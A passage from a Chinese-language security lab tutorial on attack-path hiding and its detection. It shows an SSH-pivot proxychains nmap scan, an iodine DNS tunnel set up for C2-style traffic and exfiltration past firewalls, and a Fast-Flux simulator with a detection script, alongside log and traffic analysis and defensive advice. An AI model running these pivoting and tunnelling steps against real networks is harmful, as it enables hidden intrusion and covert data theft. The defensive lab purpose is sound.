sudo proxychains nmap -sT -Pn -p 135,445 -v 192.168.23.201
如果没有 proxychains,先装:
sudo apt install proxychains4 -y
# 确认配置 /etc/proxychains4.conf 最后一行是 socks4 127.0.0.1 1080
两种扫描的对比:
| 方式 | 源 IP | Windows 看到的 | 结果 |
| — | — | — | — |
| 直接 nmap | 192.168.23.199 (Kali) | Kali 的真实 IP | 攻击源暴露 |
| proxychains nmap | 192.168.23.131 (Ubuntu) | Ubuntu 的 IP | 攻击源隐藏 |
proxychains 的工作流程:
- proxychains 拦截 nmap 发出的所有 TCP 连接请求
- 将这些请求通过 SOCKS 代理(127.0.0.1:1080)转发
- SSH 隧道将流量加密传输到 Ubuntu
- Ubuntu 解密后,以自己的 IP 向 Windows 发起连接
- Windows 的防火墙日志记录的源 IP 是 Ubuntu
为什么用 -sT 而不是默认的 -sS?
-sS(SYN 扫描)需要构造原始 TCP 包,这要求直接访问网卡,无法通过 SOCKS 代理-sT(TCP Connect 扫描)使用操作系统正常的connect()系统调用,可以通过代理转发- 代价是
-sT更慢且在 Windows 日志中更明显(会建立完整的 TCP 连接),但在隐藏源 IP 的前提下,这是必要的权衡
-Pn 的含义:跳过主机存活检测(ping),直接扫描端口。因为 ICMP 包无法通过 SOCKS 代理转发,如果不加 -Pn,nmap 会先 ping 目标,ping 失败就认为主机不在线而跳过扫描。
Clip_2026-05-13_19-49-45
直接扫会发现真实IP直接暴露
Clip_2026-05-13_19-40-57
通过代理扫描,会发现kali的IP没有了
Clip_2026-05-13_19-52-44
步骤 4.4 — Windows:查看日志
# Ubuntu 上查看 SSH 连接日志(攻击者跳板流量)
sudo tail -20 /var/log/auth.log | grep jumper
日志中能看到什么?Ubuntu 的 /var/log/auth.log 会记录所有 SSH 相关事件,包括:
Accepted password for jumper from 192.168.23.199 port xxxxx ssh2:记录了 jumper 用户从 Kali IP 登录成功- 这条日志说明 Ubuntu 被当作跳板使用了
为什么防守方可能发现异常?
- 异常的 SSH 会话:jumper 用户的 SSH 会话持续时间很长(攻击期间一直保持),而且有大量数据传输
- 异常的出站连接:Ubuntu 突然向 Windows 发起了端口扫描——正常情况下 Ubuntu 不会这么做
- SSH 日志中 jumper 用户的行为模式:如果 jumper 用户平时很少使用,突然出现活跃的 SSH 会话就是异常信号
Clip_2026-05-13_19-54-38
关键结论: Windows 只会看到来自 Ubuntu (192.168.23.131) 的扫描流量,找不到真正的攻击源 Kali。
防守方如何应对跳板攻击?
- 多节点日志关联:单独看 Windows 日志只能看到 Ubuntu,但如果同时分析 Ubuntu 的 SSH 日志,就能发现 jumper 用户的异常登录——两条日志关联起来,就能还原出 Kali→Ubuntu→Windows 的完整攻击路径
- 网络流量分析:在交换机上抓包,可以看到 Kali 和 Ubuntu 之间有大量加密的 SSH 流量,这在平时是没有的
- 用户行为分析(UEBA):jumper 用户的登录时间、行为模式和平时不一致,自动告警
- 蜜罐交叉验证:如果 Kali 之前触发过蜜罐,已经记录了 Kali 的 IP,现在看到 Ubuntu 的扫描流量,可以推测攻击者在用跳板
Clip_2026-05-13_19-52-57
实验 4 完成,清理:
# Kali: 关掉 SSH 隧道
pkill -f "ssh -D 1080"
# Ubuntu: 删除跳板用户
sudo userdel -r jumper
实验 5:把数据藏在 DNS 查询里
目标: Kali 通过 DNS 隧道将 C2 流量伪装成 DNS 查询,绕过防火墙。Ubuntu 扮演 DNS 服务器 + 抓包分析。
原理: iodine 工具把 TCP 数据编码进 DNS 请求(TXT/MX/CNAME 等记录类型),在 DNS 服务器端解码还原。防火墙通常不拦截 DNS(UDP 53)。
为什么 DNS 隧道能穿透防火墙?在大多数企业网络中,DNS 流量(UDP 53 端口)是被允许通过的——因为员工需要解析域名才能访问互联网。防火墙规则通常只检查流量的目的端口和协议类型,不会深入检查 DNS 查询的内容。攻击者正是利用这一点,将恶意数据编码成看似正常的 DNS 查询,穿透防火墙。
DNS 隧道的工作原理:
- 编码阶段(Kali 端):iodine 客户端将待发送的数据进行 Base32/Base64 编码,拼接成子域名。例如,要发送的数据
Hello被编码后变成类似JBSWY3DP.example.com的域名查询 - 传输阶段:Kali 向 iodined 服务端发送 DNS 查询请求。从防火墙角度看,这只是普通的 DNS 查询
- 解码阶段(Ubuntu 端):iodined 服务端收到查询后,从子域名中提取编码数据,解码还原成原始数据
- 双向通信:iodined 通过 DNS 响应(TXT/MX/CNAME 记录)将数据返回给客户端,实现双向隧道
DNS 隧道的流量特征(用于检测):
- 查询频率异常高(正常用户每秒几次 DNS 查询,隧道可能每秒几十上百次)
- 子域名极长且包含大量随机字符(Base32/64 编码的特征)
- 查询类型偏向 TXT、NULL、CNAME 等不常用的记录类型
- DNS 响应包体积异常大(正常 DNS 响应几十到几百字节,隧道响应可达数百到上千字节)
步骤 5.1 — Ubuntu:部署 DNS 服务端
# 安装 iodine 服务端
sudo apt install iodine -y
# 停止系统服务,防止和实验端口冲突
sudo systemctl stop named
sudo systemctl disable named --now
# 如果 named 不是 systemd 服务,直接杀进程:
sudo pkill -9 named
# 停止 systemd-resolved
sudo systemctl stop systemd-resolved
sudo systemctl disable systemd-resolved --now
# 启动 iodine 服务端(监听 DNS 隧道)
# 格式: iodined -f -P 密码 虚拟IP/子网 DNS域名
sudo iodined -f -P tunnel123 10.0.0.1/24 tunnel.example.com
iodined 命令参数详解:
-f(foreground):前台运行,方便观察日志输出-P tunnel123:隧道连接密码。客户端连接时必须提供相同密码才能建立隧道10.0.0.1/24:隧道的虚拟 IP 地址和子网。iodined 会在服务端创建一个虚拟网卡(tun0),IP 设为 10.0.0.1,客户端连接后会被分配 10.0.0.2 等地址。这个 10.0.0.0/24 子网是隧道内部的虚拟网络,和真实网络(192.168.23.0/24)完全隔离tunnel.example.com:隧道使用的域名前缀。所有发往*.tunnel.example.com的 DNS 查询都会被 iodined 捕获并解码。在真实场景中,攻击者需要控制这个域名(注册 domain 并设置 NS 记录指向 iodined 服务器)
为什么要停掉 named 和 systemd-resolved?
named(BIND9)和systemd-resolved都会监听 53 端口(DNS 默认端口)- iodined 也需要监听 53 端口来接收 DNS 查询
- 端口冲突会导致 iodined 启动失败,所以必须先停掉其他占用 53 端口的服务
Clip_2026-05-13_19-57-07
另开终端,抓包:
sudo tcpdump -i ens33 -w ~/experiments/dns_tunnel/dns_traffic.pcap port 53
tcpdump 参数解析:
-i ens33:抓取 ens33 网卡上的流量(网卡名称可能不同,用ip a确认)-w dns_traffic.pcap:将抓到的数据包保存为 pcap 文件,后续可用 Wireshark 打开分析port 53:只抓取 DNS 流量(端口 53),过滤掉其他无关流量
为什么要同时抓包? 抓包是为了后续分析 DNS 隧道的流量特征——验证检测方法是否有效,也方便在 Wireshark 中直观地看到 DNS 查询的编码模式。
Clip_2026-05-13_19-58-17
步骤 5.2 — Kali:连接 DNS 隧道
# 安装 iodine 客户端
sudo apt install iodine -y
# 连接 DNS 隧道客户端
# 格式: iodine -f -P 密码 DNS服务器IP DNS域名
sudo iodine -f -P tunnel123 192.168.23.131 tunnel.example.com
iodine 客户端参数解析:
-f:前台运行-P tunnel123:和服务端相同的密码192.168.23.131:DNS 服务器地址,也就是 iodined 服务端的 IPtunnel.example.com:和服务端配置一致的域名前缀
连接成功后,客户端会显示类似输出:
Opened dns0
Opened tun0
Server tunnel IP is 10.0.0.1
Setting IP of tun0 to 10.0.0.2
Adding route 10.0.0.0/24 to tun0
这表示隧道已经建立,Kali 的 tun0 网卡 IP 是 10.0.0.2,可以通过隧道访问 Ubuntu 的 10.0.0.1。
数据流向:Kali 发送到 10.0.0.1 的数据 → iodine 客户端编码成 DNS 查询 → 发送到 192.168.23.131 的 53 端口 → iodined 解码还原 → 交付给 Ubuntu 的 tun0 网卡。反向亦然。
Clip_2026-05-13_20-10-51
步骤 5.3 — 验证隧道通信
# Kali: 通过隧道 IP ping 服务端
ping 10.0.0.1
# Kali: SSH 通过隧道连接
ssh [email protected]
验证的意义:
ping 10.0.0.1成功说明隧道双向通信正常。注意,这个 ping 的 ICMP 包被编码在 DNS 查询/响应中传输的ssh [email protected]说明可以通过隧道建立更复杂的连接(SSH、HTTP 等)——这意味着攻击者可以通过 DNS 隧道传输任何 TCP 流量,包括 C2 通信、文件传输、甚至远程桌面
DNS 隧道的实际应用:在真实的攻击场景中,DNS 隧道常用于:
- C2 通信:被控主机通过 DNS 查询接收攻击者的指令,通过 DNS 响应回传执行结果
- 数据外传:将窃取的文件编码成 DNS 查询,逐块发送出去
- 绕过认证网络:某些公共 WiFi 需要网页认证后才能上网,但 DNS 查询通常不受限制——DNS 隧道可以在认证前就建立网络连接
Clip_2026-05-13_20-10-16
Clip_2026-05-13_20-10-36
步骤 5.4 — Ubuntu:分析 DNS 流量
# Ctrl+C 停掉 tcpdump
# 查看抓到的包
tcpdump -r ~/experiments/dns_tunnel/dns_traffic.pcap -n | head -30
# 用 Wireshark 打开(在 Win11 上拖过去看)
DNS 隧道流量特征:
- 大量 TXT/NULL/CNAME 查询
- 子域名极长且随机(base32 编码数据)
- 查询频率异常高
- DNS 响应包很大(正常 DNS 响应几十到几百字节,隧道响应可达数百到上千字节)
如何在 Wireshark 中识别 DNS 隧道?
- 过滤器:在 Wireshark 过滤栏输入
dns只显示 DNS 流量 - 观察子域名长度:正常的 DNS 查询域名一般不超过 50 个字符,DNS 隧道的子域名可能长达 100+ 字符,且包含大量 Base32 字符(A-Z、2-7)
- 查询类型:DNS 隧道偏爱 TXT 记录(因为 TXT 记录可以携带最多数据,单条最多 65535 字节)。正常网络中 TXT 查询很少
- 响应大小:DNS 隧道的响应包通常比正常 DNS 响应大很多(几百到上千字节 vs 几十字节)
- 查询频率:在 Wireshark 的”Statistics → Conversations”中可以看到 DNS 会话的频率,隧道的每秒查询数远高于正常水平
tcpdump -r 输出解读:
20:10:16.123 IP 192.168.23.199.xxxx > 192.168.23.131.53: 1+ TXT? aGVsbG8gd29ybGQ.tunnel.example.com. (65)
192.168.23.199是 Kali(客户端)192.168.23.131是 Ubuntu(DNS 服务器)TXT?表示查询类型是 TXTaGVsbG8gd29ybGQ就是 Base32 编码的数据(解码后是 “hello world”)tunnel.example.com是隧道域名
Clip_2026-05-13_20-12-14
Wireshark 中查看单条 DNS 请求的详细内容
Clip_2026-05-13_20-13-40
实验 5 完成,清理:
# Kali: Ctrl+C 停掉 iodine 客户端
# Ubuntu: Ctrl+C 停掉 iodined 和 tcpdump
sudo pkill iodined
实验 6:Fast-Flux DNS 模拟与检测
目标: 模拟僵尸网络通过 Fast-Flux 技术快速轮换 C2 服务器 IP,防守方用脚本检测异常。
原理: Fast-Flux 是僵尸网络常用技术——同一个域名每 60-300 秒换一批 IP,让封锁 IP 的防御手段失效。Single-Flux 只换 A 记录,Double-Flux 连 NS 服务器一起换。
什么是 Fast-Flux?Fast-Flux 是一种 DNS 技术,被僵尸网络广泛用于隐藏 C2(Command & Control)服务器的真实位置,主要思想是:让一个域名对应大量短生命周期的 IP 地址,这些 IP 是分布在全球各地的”代理节点”(通常是被入侵的机器),真正的 C2 服务器藏在这些代理节点后面。
Single-Flux vs Double-Flux:
- Single-Flux:域名的 A 记录(IP 地址)快速轮换,但 NS 记录(DNS 服务器)保持不变。攻击者控制一台权威 DNS 服务器,不断修改域名的 A 记录
- Double-Flux:不仅 A 记录轮换,连 NS 记录也一起轮换。更难追踪,因为连 DNS 服务器本身都在变
Fast-Flux 的危害:
- IP 封锁失效:防守方封禁了一个 IP,几分钟后域名就指向另一个 IP 了
- 溯源困难:看到的 IP 都是代理节点,不是真正的 C2 服务器
- 高可用性:即使部分代理节点被拿下,其他节点仍然正常工作
- 分布式:IP 分散在全球各地,很难一次性全部封禁
检测思路:
- 同一个域名解析出大量不同的 IP(正常域名通常只有 1-2 个 IP)
- TTL 值极短(正常域名 TTL 通常 3600 秒以上,Fast-Flux 通常 60-300 秒)
- IP 变化频率异常高
- IP 地理位置分散在全球多个地区
步骤 6.1 — Ubuntu:运行 Fast-Flux 模拟器
cd ~/experiments/fastflux
vim simple_flux.py
写入以下内容:
#!/usr/bin/env python3
"""Fast-Flux DNS 模拟器 - 演示僵尸网络如何快速轮换 C2 IP"""
import time
import random
FLUX_IPS = [
"103.45.67.89", "45.33.32.156", "198.51.100.23",
"203.0.113.45", "192.0.2.88", "198.51.100.99",
"45.33.32.200", "103.45.67.100"
]
print("=" * 55)
print(" FAST-FLUX DNS SIMULATION")
print(" Domain: c2-malware.example.com")
print(" TTL: 60 seconds")
print("=" * 55)
for cycle in range(1, 6):
ip_count = random.randint(3, 5)
ips = random.sample(FLUX_IPS, ip_count)
print(f"\n[Cycle {cycle}] TTL=60s")
print(f" c2-malware.example.com -> {ips}")
print(f" DNS queries this cycle: {random.randint(150, 500)}")
time.sleep(2)
print("\n[!] 5 分钟内 IP 集合换了 5 次——这就是 Fast-Flux")
脚本逻辑说明:
FLUX_IPS:模拟僵尸网络控制的代理节点 IP 池(8 个 IP)random.sample(FLUX_IPS, ip_count):每个周期随机选取 3-5 个 IP 作为当前的解析结果TTL=60s:模拟 Fast-Flux 的短 TTL 特征。60 秒后 DNS 缓存过期,客户端必须重新查询,获得新的 IP 集合DNS queries this cycle:模拟每个周期内的查询量。Fast-Flux 域名通常有大量僵尸主机在查询,所以查询量很高- 每 2 秒换一次(实际中是 60-300 秒,这里加速演示)
python3 simple_flux.py
Clip_2026-05-13_20-16-39
步骤 6.2 — Ubuntu:运行检测器
vim detect_flux.py
写入以下内容:
#!/usr/bin/env python3
"""Fast-Flux 检测器 - 基于 IP 多样性和 TTL 判定"""
def detect_fast_flux(resolutions, threshold_ips=3, threshold_ttl=300):
"""
resolutions: [{"domain": str, "ips": set, "ttl": int}, ...]
返回告警列表
"""
alerts = []
for entry in resolutions:
domain = entry["domain"]
unique_ips = len(entry["ips"])
avg_ttl = entry["ttl"]
reasons = []
if unique_ips >= threshold_ips:
reasons.append(f"多 IP 解析({unique_ips}个 ≥ {threshold_ips})")
if avg_ttl < threshold_ttl:
reasons.append(f"短 TTL({avg_ttl}s < {threshold_ttl}s)")
if len(reasons) >= 2:
alerts.append({
"domain": domain,
"unique_ips": unique_ips,
"avg_ttl": avg_ttl,
"reasons": reasons,
"verdict": "⚠️ 疑似 Fast-Flux"
})
elif len(reasons) == 1:
alerts.append({
"domain": domain,
"unique_ips": unique_ips,
"avg_ttl": avg_ttl,
"reasons": reasons,
"verdict": "需要进一步分析"
})
return alerts
# 模拟 DNS 解析数据
dns_data = [
{"domain": "normal-site.com", "ips": {"203.0.113.1"}, "ttl": 3600},
{"domain": "c2-malware.example.com", "ips": {"103.45.67.89", "45.33.32.156", "198.51.100.23", "203.0.113.45"}, "ttl": 60},
{"domain": "blog.example.org", "ips": {"198.51.100.10", "198.51.100.11"}, "ttl": 300},
{"domain": "another-c2.evil.net", "ips": {"10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4", "10.0.0.5"}, "ttl": 120},
]
print("=" * 55)
print(" FAST-FLUX DETECTION ENGINE")
print(" Rules: IPs ≥ 3 AND TTL < 300s → ALERT")
print("=" * 55)
alerts = detect_fast_flux(dns_data)
for alert in alerts:
print(f"\n{'⚠️ ' if '疑似' in alert['verdict'] else '⚡'} {alert['domain']}")
print(f" IPs: {alert['unique_ips']} | TTL: {alert['avg_ttl']}s")
for reason in alert['reasons']:
print(f" → {reason}")
print(f" 结论: {alert['verdict']}")
print("\n" + "=" * 55)
print(f" 检测结果: {len([a for a in alerts if '疑似' in a['verdict']])} 个疑似 Fast-Flux 域名")
print("=" * 55)
检测算法说明:
- 双条件判定:同时满足”多 IP 解析(≥3 个)”和”短 TTL(<300 秒)”才判定为疑似 Fast-Flux。单一条件可能有误报(CDN 也有多 IP,但 TTL 正常;某些服务 TTL 短但 IP 不变)
- 为什么阈值是 3 个 IP 和 300 秒? 这是安全行业的经验值。正常域名通常只有 1-2 个 A 记录(主备),TTL 通常设置为 3600 秒(1 小时)以上。3 个以上 IP + 300 秒以下 TTL 的组合,在正常网络中几乎不会出现
set类型的ips:用集合自动去重,确保统计的是唯一 IP 数量
python3 detect_flux.py
检测结果解读:
normal-site.com:1 个 IP,TTL 3600s → 正常 ✅c2-malware.example.com:4 个 IP,TTL 60s → 疑似 Fast-Flux ⚠️blog.example.org:2 个 IP,TTL 300s → 需要进一步分析(可能只是 CDN)another-c2.evil.net:5 个 IP,TTL 120s → 疑似 Fast-Flux ⚠️
Clip_2026-05-13_20-17-32
步骤 6.3 — 对比分析
正常域名 vs Fast-Flux 域名的区别:
| 特征 | 正常域名 | Fast-Flux 域名 |
| — | — | — |
| 解析 IP 数 | 1-2 个 | 3-10+ 个 |
| TTL | 600-86400 秒 | 60-300 秒 |
| IP 变化频率 | 几乎不变 | 每 1-5 分钟轮换 |
| IP 地理位置 | 集中在同一区域 | 分散在全球多个地区 |
如何在生产环境中检测 Fast-Flux?
1、DNS 日志分析:收集企业内网的 DNS 查询日志,统计每个域名的解析 IP 数量和 TTL 值
2、被动 DNS 数据库:维护一个历史 DNS 解析数据库,追踪域名的 IP 变化历史
3、威胁情报集成:将 DNS 查询结果与已知的 Fast-Flux 域名黑名单比对
4、机器学习:用历史数据训练分类模型,自动识别 Fast-Flux 模式
5、IP 地理位置分析:如果一个域名的 IP 分散在多个国家/地区,且频繁变化,高度可疑
实验 6 完成
实验完成后的思路总结
防守方视角
| 实验 | 学到的东西 |
| — | — |
| 诱饵文件 | 在攻击者的必经之路上埋点,被动收集情报 |
| SSH 蜜罐 | 让攻击者在假目标上浪费时间,同时记录手法 |
| ARP 检测 | 内网中间人攻击的发现和定位 |
攻击方视角
| 实验 | 学到的东西 |
| — | — |
| SSH 隧道 | 用合法服务做跳板,隐藏真实 IP |
| DNS 隧道 | 把 C2 流量伪装成 DNS,穿透防火墙 |
| Fast-Flux | 理解僵尸网络如何通过 IP 轮换逃避封堵 |
防御建议
1、诱饵要放对地方 — Web 目录、备份文件夹、代码仓库这些攻击者必翻的位置
2、蜜罐不要只放一个 — 多放几个不同端口的,SSH(22/2222)、RDP(3389)、MySQL(3306)
3、ARP 监控要持续 — arpwatch 或 arpwatch-ng 配 cron 定时检查
4、DNS 流量要审计 — 异常长的子域名 + TXT/NULL 查询 + 高频 = DNS 隧道告警
5、内网日志要集中 — 跳板攻击就是靠横向关联多个节点的日志才能发现
❝
⚠️ 本文所有技术仅用于安全研究和防护目的,请勿用于非法用途。
实验环境:Ubuntu 22.04.4 + Kali Linux + Windows 11,纯内网。
往期推荐
红队在 Windows 日志的痕迹清理过程,蓝队溯源反制解决方案
windows内网渗透常用的60个命令,以及使用技巧,w字解析
🎁 互动与福利
分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取
上千学习资料+工具哦
22919c6e4ef945aa9a9cbf0f6df4f6ff
分享后扫码加我!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智榜样网络安全学习中心 小智
小智《攻防演练:防守方反制与攻击路径隐藏方案》